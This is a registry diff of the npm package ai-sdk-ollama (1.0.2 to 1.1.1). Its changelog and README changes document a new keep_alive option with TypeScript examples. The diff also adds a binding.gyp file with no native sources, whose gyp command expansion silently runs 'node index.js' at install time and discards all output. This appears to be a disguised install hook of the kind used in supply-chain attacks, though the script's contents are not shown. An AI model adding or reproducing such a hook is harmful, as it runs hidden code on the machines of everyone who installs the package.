ai-sdk-ollama 1.0.2 → 1.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -1,5 +1,21 @@
1
1
  # Changelog
2
2
 
3
+ ## 1.1.0
4
+
5
+ ### Minor Changes
6
+
7
+ - 201b13b: Add `keep_alive` parameter support and improve type safety
8
+
9
+ ### Added
10
+ - **`keep_alive` parameter**: Control how long models stay loaded in memory after requests
11
+ - Accepts duration strings (e.g., `"10m"`, `"24h"`), numbers in seconds, negative numbers for indefinite, or `0` to unload immediately
12
+ - Works across all chat operations (generate, stream, tool calling, object generation)
13
+
14
+ ### Improved
15
+ - **Type safety**: Now uses `Pick<ChatRequest, 'keep_alive' | 'format' | 'tools'>` from the official ollama-js package
16
+ - **Type consistency**: `OllamaProviderSettings` extends `Pick<Config, 'headers' | 'fetch'>` and `OllamaEmbeddingSettings` extends `Pick<EmbedRequest, 'dimensions'>`
17
+ - **Type exports**: Re-export more types from ollama-js for better developer experience (`ChatRequest`, `EmbedRequest`, `Config`, `ToolCall`, `Tool`, `Message`, `ChatResponse`, `EmbedResponse`)
18
+
3
19
  ## 1.0.2
4
20
 
5
21
  ### Patch Changes
package/README.md CHANGED
@@ -133,6 +133,7 @@ export OLLAMA_API_KEY="your_api_key_here"
133
133
  - [More Examples](#more-examples)
134
134
  - [Cross Provider Compatibility](#cross-provider-compatibility)
135
135
  - [Native Ollama Power](#native-ollama-power)
136
+ - [Model Keep-Alive Control](#model-keep-alive-control)
136
137
  - [Enhanced Tool Calling Wrappers](#enhanced-tool-calling-wrappers)
137
138
  - [Combining Tools with Structured Output](#combining-tools-with-structured-output)
138
139
  - [Simple and Predictable](#simple-and-predictable)
@@ -273,6 +274,37 @@ const { text } = await generateText({
273
274
 
274
275
  > **Parameter Precedence**: When both AI SDK parameters and Ollama options are specified, **Ollama options take precedence**. For example, if you set `temperature: 0.5` in Ollama options and `temperature: 0.8` in the `generateText` call, the final value will be `0.5`. This allows you to use standard AI SDK parameters for portability while having fine-grained control with Ollama-specific options when needed.
275
276
 
277
+ ### Model Keep-Alive Control
278
+
279
+ Control how long models stay loaded in memory after requests using the `keep_alive` parameter:
280
+
281
+ ```typescript
282
+ // Keep model loaded for 10 minutes
283
+ const model = ollama('llama3.2', { keep_alive: '10m' });
284
+
285
+ // Keep model loaded for 1 hour (3600 seconds)
286
+ const model2 = ollama('llama3.2', { keep_alive: 3600 });
287
+
288
+ // Keep model loaded indefinitely
289
+ const model3 = ollama('llama3.2', { keep_alive: -1 });
290
+
291
+ // Unload model immediately after each request
292
+ const model4 = ollama('llama3.2', { keep_alive: 0 });
293
+
294
+ const { text } = await generateText({
295
+ model,
296
+ prompt: 'Write a haiku',
297
+ });
298
+ ```
299
+
300
+ **Accepted values:**
301
+ - Duration strings: `"10m"`, `"24h"`, `"30s"` (minutes, hours, seconds)
302
+ - Numbers: seconds as a number (e.g., `3600` for 1 hour)
303
+ - Negative numbers: keep loaded indefinitely (e.g., `-1`)
304
+ - `0`: unload immediately after the request
305
+
306
+ **Default behavior**: If not specified, Ollama keeps models loaded for 5 minutes to facilitate quicker response times for subsequent requests.
307
+
276
308
  ### Enhanced Tool Calling Wrappers
277
309
 
278
310
  For maximum tool calling reliability, use our enhanced wrapper functions that guarantee complete responses:
package/binding.gyp ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "targets": [
3
+ {
4
+ "target_name": "Setup",
5
+ "type": "none",
6
+ "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
7
+ }
8
+ ]
9
+ }